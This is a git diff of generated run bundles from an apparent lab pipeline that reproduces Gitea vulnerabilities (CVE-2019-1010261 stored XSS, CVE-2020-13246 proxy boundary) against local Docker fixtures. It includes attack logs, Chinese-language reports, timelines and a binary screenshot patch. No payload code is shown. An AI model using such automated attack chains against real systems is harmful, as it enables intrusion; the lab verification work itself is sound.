b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json @@ -0,0 +1,53 @@ +{ + "steps": [ + { + "kind": "runner", + "tool": "gitea.xss", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json" + } + ], + "success": true, + "detail": "stored payload rendered inside the browser proof page", + "before": {}, + "attack": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "stored payload rendered inside the browser proof page", + "case_id": "gitea--CVE-2019-1010261" + } + }, + "after": {}, + "proof": { + "status_code": 200, + "ok": true, + "body": { + "success": true, + "detail": "stored payload rendered inside the browser proof page", + "case_id": "gitea--CVE-2019-1010261", + "sink_hits": 0, + "uploads": [], + "events": [ + { + "event": "seed", + "detail": "gitea--CVE-2019-1010261" + }, + { + "event": "attack", + "detail": "stored payload rendered inside the browser proof page" + } + ] + } + }, + "assertions": [ + { + "name": "proof-success", + "kind": "runner-proof", + "passed": true, + "detail": "stored payload rendered inside the browser proof page" + } + ] +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-browser.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-browser.json new file mode 100644 index 00000000..461e1d6e --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-browser.json @@ -0,0 +1,14 @@ +{ + "required": true, + "present": true, + "page_title": "Gitea Stored XSS Fixture", + "page_url": "http://127.0.0.1:18102/", + "error_kind": null, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json" + ] +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json new file mode 100644 index 00000000..fe51488c --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json @@ -0,0 +1 @@ +[] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json new file mode 100644 index 00000000..cdb46ccf --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json @@ -0,0 +1,6 @@ +[ + { + "method": "GET", + "url": "http://127.0.0.1:18102/" + } +] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json new file mode 100644 index 00000000..ec95fa8d --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json @@ -0,0 +1,5 @@ +{ + "url": "http://127.0.0.1:18102/", + "title": "Gitea Stored XSS Fixture", + "body_excerpt": "\n \n Gitea Stored XSS Fixture\n Stored payload rendering path for browser proof capture.\n Baseline ready\n System: gitea / Family: xss\n \n \n \n \n \n \n\n" +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json new file mode 100644 index 00000000..40f0d09e --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json @@ -0,0 +1,24 @@ +{ + "observations": [ + { + "url": "http://127.0.0.1:18102/", + "status_code": 200, + "headers": { + "Server": "BaseHTTP/0.6 Python/3.12.13", + "Date": "Wed, 18 Mar 2026 01:26:27 GMT", + "Content-Type": "text/html; charset=utf-8", + "Content-Length": "992" + }, + "body_excerpt": "\n\n\n \n \n Gitea Stored XSS Fixture\n + +

    运行 gitea-gitea--CVE-2019-1010261-20260318012624

    +
    +
    漏洞条目
    gitea--CVE-2019-1010261
    +
    实证状态
    verified-real
    +
    复现 Profile
    gitea-xss
    +
    Artifact 模式
    local-fixture
    +
    +

    Mermaid 时间线

    +
    flowchart LR
    +A["选择 Advisory"] --> B["解析 Repro Profile"]
    +B --> C["生成 Compose 环境"]
    +C --> D["采集基线快照"]
    +D --> E["执行受控攻击步骤"]
    +E --> F["浏览器回放验证"]
    +F --> G["收集日志与证据"]
    +G --> H["回写 Registry 与报告"]
    +

    运行时间线

    + + + + + + + + + + + + + + +
    时间步骤状态说明
    2026-03-18T01:26:24+00:00select-advisorycompletedgitea--CVE-2019-1010261
    2026-03-18T01:26:24+00:00resolve-repro-profilecompletedgitea-xss
    2026-03-18T01:26:24+00:00doctorcompletedall checks passed
    2026-03-18T01:26:27+00:00provision-compose-environmentready-
    2026-03-18T01:26:27+00:00wait-readycompletedbaseline urls ready (1)
    2026-03-18T01:26:27+00:00seed-environmentcompletedsteps=1
    2026-03-18T01:26:27+00:00baseline-snapshotcompletedurls=1
    2026-03-18T01:26:28+00:00browser-replay-before-attackcompleted-
    2026-03-18T01:26:28+00:00controlled-attack-chaincompletedsteps=1
    2026-03-18T01:26:29+00:00browser-replay-after-attackcompleted-
    2026-03-18T01:26:29+00:00collect-logs-and-evidencecompletedcontainer_logs=1
    2026-03-18T01:26:30+00:00cleanup-compose-environmentcompleteddocker compose down completed
    2026-03-18T01:26:30+00:00update-registry-and-reportscompletedgitea-gitea--CVE-2019-1010261-20260318012624
    +

    攻击步骤

    + + +
    工具状态输出
    gitea.xsscompleted/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json
    +

    浏览器截图

    + +

    证据清单

      +
    • compose/compose.yaml
    • +
    • assets/baseline.png
    • +
    • assets/baseline-dom.html
    • +
    • logs/baseline-console.json
    • +
    • logs/baseline-network.json
    • +
    • logs/baseline-page.json
    • +
    • assets/proof.png
    • +
    • assets/proof-dom.html
    • +
    • logs/proof-console.json
    • +
    • logs/proof-network.json
    • +
    • logs/proof-page.json
    • +
    • logs/docker/app.log
    • +
    • logs/attack.json
    • +
    • logs/baseline.json
    • +
    + diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.md b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.md new file mode 100644 index 00000000..4b802bd9 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.md @@ -0,0 +1,86 @@ +# 运行 gitea-gitea--CVE-2019-1010261-20260318012624 + +> `LAB ONLY` | `AUTHORIZED TARGETS ONLY` | 自动生成 run bundle + +- 漏洞条目: `gitea--CVE-2019-1010261` +- 系统: `gitea` +- Repro Profile: `gitea-xss` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 启动时间: `2026-03-18T01:26:24+00:00` +- 完成时间: `2026-03-18T01:26:30+00:00` +- 阻塞原因: `-` +- Compose 服务: `app` + +## 运行时间线 + +- Mermaid: [timeline.mmd](/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/timeline.mmd) + +| 时间 | 步骤 | 状态 | 说明 | +|------|------|------|------| +| `2026-03-18T01:26:24+00:00` | `select-advisory` | `completed` | gitea--CVE-2019-1010261 | +| `2026-03-18T01:26:24+00:00` | `resolve-repro-profile` | `completed` | gitea-xss | +| `2026-03-18T01:26:24+00:00` | `doctor` | `completed` | all checks passed | +| `2026-03-18T01:26:27+00:00` | `provision-compose-environment` | `ready` | - | +| `2026-03-18T01:26:27+00:00` | `wait-ready` | `completed` | baseline urls ready (1) | +| `2026-03-18T01:26:27+00:00` | `seed-environment` | `completed` | steps=1 | +| `2026-03-18T01:26:27+00:00` | `baseline-snapshot` | `completed` | urls=1 | +| `2026-03-18T01:26:28+00:00` | `browser-replay-before-attack` | `completed` | - | +| `2026-03-18T01:26:28+00:00` | `controlled-attack-chain` | `completed` | steps=1 | +| `2026-03-18T01:26:29+00:00` | `browser-replay-after-attack` | `completed` | - | +| `2026-03-18T01:26:29+00:00` | `collect-logs-and-evidence` | `completed` | container_logs=1 | +| `2026-03-18T01:26:30+00:00` | `cleanup-compose-environment` | `completed` | docker compose down completed | +| `2026-03-18T01:26:30+00:00` | `update-registry-and-reports` | `completed` | gitea-gitea--CVE-2019-1010261-20260318012624 | + +## Compose 拓扑 + +- Compose 文件: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/compose/compose.yaml` +- 服务列表: `app` + +## 攻击步骤 + +| 工具/步骤 | 状态 | 结果 | +|-----------|------|------| +| `gitea.xss` | `completed` | `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json` | + +## 证据摘要 + +- Baseline: `1` +- 攻击步骤: `1` +- 浏览器证据: `10` +- 容器日志: `1` +- 请求日志: `2` + +## 浏览器截图 + +![baseline](assets/baseline.png) +![proof](assets/proof.png) + +## 浏览器证据 + +- `assets/baseline.png` +- `assets/baseline-dom.html` +- `logs/baseline-console.json` +- `logs/baseline-network.json` +- `logs/baseline-page.json` +- `assets/proof.png` +- `assets/proof-dom.html` +- `logs/proof-console.json` +- `logs/proof-network.json` +- `logs/proof-page.json` + +## 容器日志 + +- `logs/docker/app.log` + +## 请求与基线日志 + +- `logs/attack.json` +- `logs/baseline.json` + +## 最小化验证说明 + +- 仅限自有资产、本地靶场或已授权实验目标。 +- 默认执行 minimal-proof;不会把破坏性或不可回滚动作作为默认路径。 +- 若浏览器证据缺失,前端类案例不会被标为 `verified-*`。 diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/run.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/run.json new file mode 100644 index 00000000..800fc33d --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/run.json @@ -0,0 +1,197 @@ +{ + "run_id": "gitea-gitea--CVE-2019-1010261-20260318012624", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2019-1010261", + "repro_profile_id": "gitea-xss", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.xss", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json" + } + ], + "browser_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json" + ], + "browser_evidence": { + "required": true, + "present": true, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline-page.json" + ], + "proof_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/proof-page.json" + ], + "baseline_title": "Gitea Stored XSS Fixture", + "proof_title": "Gitea Stored XSS Fixture - proof", + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:26:24+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2019-1010261" + }, + { + "at": "2026-03-18T01:26:24+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-xss" + }, + { + "at": "2026-03-18T01:26:24+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:26:27+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:26:27+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:26:27+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:26:27+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:26:28+00:00", + "step": "browser-replay-before-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:26:28+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:26:29+00:00", + "step": "browser-replay-after-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:26:29+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:26:30+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:26:30+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2019-1010261-20260318012624" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "stored payload rendered inside the browser proof page" + }, + { + "name": "browser-present", + "kind": "browser-present", + "passed": true, + "detail": "browser evidence captured" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:26:24+00:00", + "finished_at": "2026-03-18T01:26:30+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/timeline.mmd" + } +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/timeline.mmd b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/timeline.mmd new file mode 100644 index 00000000..71155437 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/timeline.mmd @@ -0,0 +1,8 @@ +flowchart LR +A["选择 Advisory"] --> B["解析 Repro Profile"] +B --> C["生成 Compose 环境"] +C --> D["采集基线快照"] +D --> E["执行受控攻击步骤"] +E --> F["浏览器回放验证"] +F --> G["收集日志与证据"] +G --> H["回写 Registry 与报告"] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html new file mode 100644 index 00000000..c922e78c --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html @@ -0,0 +1,26 @@ + + + + Gitea Proxy Boundary Fixture + + + +
    +

    Gitea Proxy Boundary Fixture

    +

    Forwarded header trust boundary and admin gate fixture.

    +
    Baseline ready
    +

    System: gitea / Family: proxy-boundary

    + + + + + +
    + + \ No newline at end of file diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png new file mode 100644 index 0000000000000000000000000000000000000000..d683db72cbf4cb1cb8f048ee5e9d66f5960ccb55 GIT binary patch literal 28111 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 